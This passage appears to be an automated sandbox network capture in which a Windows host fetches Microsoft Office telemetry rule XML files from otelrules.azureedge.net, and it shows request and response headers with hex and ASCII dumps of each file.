20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49863	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:38 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:38 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:38 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: c91d50fe-d01e-0049-5267-28e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181238Z-17fbfdc98bb7jfvg3dxcbz5xm000000003r0000000005sr2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:38 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49864	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:38 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:38 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:38 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 8ce6a12a-601e-005c-62fe-26f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181238Z-17fbfdc98bbwj6cp6df5812g4s0000000710000000000r7d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:38 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49865	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:38 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:39 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:39 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 19d379a2-b01e-0084-4b5b-28d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181239Z-17fbfdc98bbtwz55a8v24wfkdw00000006e000000000fcec x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:39 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49866	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:39 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:39 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:39 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 44c445c3-601e-003e-0f9c-273248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181239Z-17fbfdc98bbfmg5wrf1ctcuuun00000005q000000000ft30 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:39 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49867	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:39 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:39 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:39 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 43b0bec6-701e-0050-4289-286767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181239Z-17fbfdc98bb6vp4m3kc0kte9cs000000064g00000000bnv2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 18:12:39 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49868	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:39 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:39 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:39 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: f459058d-801e-0015-12e0-25f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181239Z-r1755647c66tgwsmrrc4e69sk000000004sg000000001qm0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:39 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49869	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:39 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:39 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:39 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 19ae2231-801e-007b-0d9c-27e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181239Z-17fbfdc98bb6kklk3r0qwaavtw000000039000000000etma x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 18:12:39 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49870	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:40 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:40 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:40 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 68df6217-401e-0029-6d9c-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181240Z-17fbfdc98bbgnnfwq36myy7z0g000000062g000000001nhm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:40 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49871	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:40 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:40 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:40 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 54290c1c-d01e-008e-01bf-27387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181240Z-17fbfdc98bb8mkvjfkt54wa53800000003e0000000001g59 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:40 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49872	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:40 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:40 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:40 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 989b5e1d-301e-003f-2bee-25266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181240Z-r1755647c665dwkwce4e7gadz000000006800000000055se x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:40 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49873	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:40 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:40 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:40 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 30c340ab-b01e-0021-5eb4-26cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181240Z-r1755647c66z67vn9nc21z11a800000004vg000000002vpw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 18:12:40 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49874	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:40 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
